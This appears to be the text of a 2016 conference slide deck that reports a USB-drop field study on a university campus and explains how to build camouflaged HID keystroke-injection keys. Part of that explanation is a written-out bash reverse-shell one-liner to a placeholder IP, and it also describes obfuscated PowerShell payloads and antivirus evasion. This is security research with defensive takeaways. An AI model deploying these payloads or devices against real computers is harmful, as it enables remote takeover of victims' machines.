USA 2016

DOES DROPPING USB DRIVESREALLY WORK?
Elie Bursztein

https://ly.tl/malusb

https://ly.tl/malusb

MR robot

https://ly.tl/malusb

Does dropping USB keys really work?

https://ly.tl/malusb

AgendaWhat are the different type of attacks carried over USB
Brief overview of what the different type of attacks and their pros & cons

How effective are USB drop attacks?
We dropped 297 USB keys on UIUC campus to find out

Improving USB drop attack by using realistic HID spoofing keys
A journey into making HID spoofing keys suitable for drop attack
https://ly.tl/malusb

The different types of USB attacks

https://ly.tl/malusb

Types of attack carried via USB drive

SocialEngineering

HIDSpoofing

Driver0-day

Human Interface
Devicehttps://ly.tl/malusb

Social engineering illustrated

Contains

Regular USB

Confidential.html

https://ly.tl/malusb

HID illustrated

Attacker’sServerConnect(reverse tcp shell)

Keystroke
injection

EmulateHID USB

Emulated
keyboard

Victim’s
computer

https://ly.tl/malusb

Attacks pros & cons
Attack vector

Mostly used bySocialengineering

Academics
Our study!

HID Spoofing

White Hat
Corporate espionage

Human Interface
Device0-dayComplexity& Cost

Reliability

StealthCross OS

Government
High-end corp espionage

https://ly.tl/malusb

How effective are USB drop attacks?

https://ly.tl/malusb

Game Plan
Drop 297 USB keys
and see what happens

https://ly.tl/malusb

Experimental setup
297 social-eng USB keys dropped on the University of Illinois campus
Worked with IRB, University Counsel, and public safety — regular USB keys
with plain html files

Built a USB key creation, dropping and monitoring system
Built a custom solution based on App-engine and Android for the experiment

Debriefing of the subject via optional survey
Offered users to keep the key and to optionally give us feedback
https://ly.tl/malusb

Optional survey

Server(GAE)RegisterUSB Key creator

Drop info

Android App

HTTP ping on open

RedirectHTML file in USB key

Create files

https://ly.tl/malusb

USB keys appearance

https://ly.tl/malusb

USB keys content

No label

Final examConfidential
https://ly.tl/malusb

Drop location type

Parking lot

OutsideCommon room

Classroom

Hallway

https://ly.tl/malusb

Drop action

https://ly.tl/malusb

Drop map

https://ly.tl/malusb

Busted on Reddit

https://ly.tl/malusb

45% of the keys phoned homehttps://ly.tl/malusb

https://ly.tl/malusb

Study in numbers
Total

Fraction

Key dropped

297

Key picked up

290

98%

Key who phoned home

135

45%

Key returned

54

19%

People answering survey

62

21%

https://ly.tl/malusb

Click rate over time for opened keys
Fraction of USB keys with a file opened

90%
80%
70%
60%
50%
40%
30%
20%
10%
0%
0h

5h

10h

15h

20h

25h

30h

35h

https://ly.tl/malusb

Opening rate by USB key appearance
Physical keys

53%

Exams

50%

Confidential

50%

None
Physical Keys
& Return Label
0%

45%

29%
10%
20%
30%
40%
50%
Fraction of USB keys with a file opened

60%

https://ly.tl/malusb

Opening rate by drop location
Parking lot

53%

Outside47%

Common Room

43%

Class Room

43%

Hallway
0%

41%
10%
20%
30%
40%
50%
Fraction of USB keys with a file opened

60%

https://ly.tl/malusb

Self-reported motivation
Other

14%

Curious18%
68%
Returningdrive
https://ly.tl/malusb

Type of documents opened
53%

Fraction of USB keys with a file opened

50%
45%

40%

43%
36%

30%

33%
29%

28%

20%
18%
14%

10%

0%

PictureWith physical keys

ResumeWith return label

Some people have opened multiple file types which explains the percentages not adding up to 100%.

Other documents
Nothing
https://ly.tl/malusb

Making USB drop attack effective

https://ly.tl/malusb

Would you plug those?
emulation

Adrian Crenshaw's - Defcon 2010Samy Kamkar - 2014

Left: http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle - Right: http://samy.pl/usbdriveby/

https://ly.tl/malusb

Challenges to make droppable HID spoofing devices
Cross-device via OS fingerprinting
Keyboards and other HID devices were never meant to be OS aware

Small binary-less persistent reverse-shell
Create small payload that spawns a reverse-shell without triggering AVCamouflaging HID device as a credible USB drive
Making our custom USB key look legit
https://ly.tl/malusb

Hardware
Teensy 3.2:
Off the shelf keyboard emulation
C framework
Arduino compatible

https://ly.tl/malusb

PayloadPayload crafting

https://ly.tl/malusb

Staging overview
Driver loaded?

GOTCHA: No direct feedback
No easy way to test for

OS fingerprint

1.Timing between commands
2.Successful execution

Reverse shellexecution

Use CAPS lock key toggling asfeedback bit
https://ly.tl/malusb

Testing if drivers are loaded

Idea: try to blink light and test if we
can lock toggle the CAPS lock key
statusOriginal version: Offsec Peensy code

https://ly.tl/malusb

OS fingerprinting

Idea: Try to lock the Scroll Lock key
in powershell and test if it worked

https://ly.tl/malusb

Spawning a reverse-shell
Open terminal

Spawn process

Reverse shell to pierce throughfirewallUse scripting language andobfuscation to avoid AV
Payload must be small: 62.5
keystrokes per second max

Connect to C&C

Leverage metasploit as C&C

https://ly.tl/malusb

MacOS (OSX) & Linux payload

Ideas:
Use bash to create a reverse shellnohup bash -c \"while true;do bash -i >& /dev/tcp/
1.2.3.4/443 0>&1 2>&1; sleep 1;done\" 1>/dev/null &Use nohup to spawn the reverseshell as a background process

Bash reverse shell original idea: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://ly.tl/malusb

Windows payload

Inner-payload: Reverse TCP connection inPowershell
Inner payload inspired by powerfun created by Ben Turner & Dave Hardy

Outer-payload: Base64 decode, Gunzip andexecute in background process
https://ly.tl/malusb

Key camouflaging

https://ly.tl/malusb

Starting point: teensy

https://ly.tl/malusb

A long way to go

https://ly.tl/malusb

Using raw type A connector

https://ly.tl/malusb

Type A connector soldered to Teensy

https://ly.tl/malusb

A step in the right direction

https://ly.tl/malusb

Getting there takes practice :)https://ly.tl/malusb

Preparing the silicon

https://ly.tl/malusb

Casting the silicon mold using a real key

https://ly.tl/malusb

Silicon moldhttps://ly.tl/malusb

Resin and color

https://ly.tl/malusb

Casting a USB key

https://ly.tl/malusb

Trimming the excess of resin

https://ly.tl/malusb

A difficult start

https://ly.tl/malusb

Getting there!

https://ly.tl/malusb

Camouflage successful!

https://ly.tl/malusb

Material cost

Teensy$20

Mold + resin casting$10Equipment & supply$10Total~$40

Price per key assuming that at least 10 keys are madehttps://ly.tl/malusb

The “lazy” approach - not as good as resin casting!

https://ly.tl/malusb

Defending against USB attacks
Awareness and security training
Teaching people to be mindful of what they plug into their computer

Block USB ports
Physically block the USB ports on sensitive computers

Restrict the type of USB authorized
Use Windows policy or USBkill code to restrict device -- ID are spoofable thus
https://ly.tl/malusb

Takeaways
USB drop attack works
With at least 45% success rate USB drop attack are very effective

Creating reliable malicious USB is not trivial
Realistic and cross-platform HID devices are doable but require dedication

No easy defense
AV won’t save you from this attack, device policy and awareness will
https://ly.tl/malusb

Co-conspirators
Cealtea: Camouflage expert
Nicolas “Pixel” Noble: Hardware specialist
Jean-Michel Picod: Teensy whisperer
Mike Bailey: Vell, Bailey's just zis guy, you know?
Zakir Durumeric: Network wizard
Matt Tischer: Master dropper
https://ly.tl/malusb

Build your own HID key - get a free one“How-to” blog post: https://ly.tl/malusb
Code: https://github.com/LightWind/malusb
Want a free one? Two possibilities:
Follow & Retweet blog post with @elie mention
Like page & re-share on Facebook

Will pick winners and mail them a key on August
9thhttps://ly.tl/malusb

Kickstarter?
Thinking of a Kickstarter to createan advanced HID USB with:● Realistic look
● Hardware based fingerprint● Remote exfiltration (GSM or Wifi)

Interested? Fill the form at the end of the post: https://ly.tl/malusb
https://ly.tl/malusb

Thanks!

https://ly.tl/malusb

https://ly.tl/malusb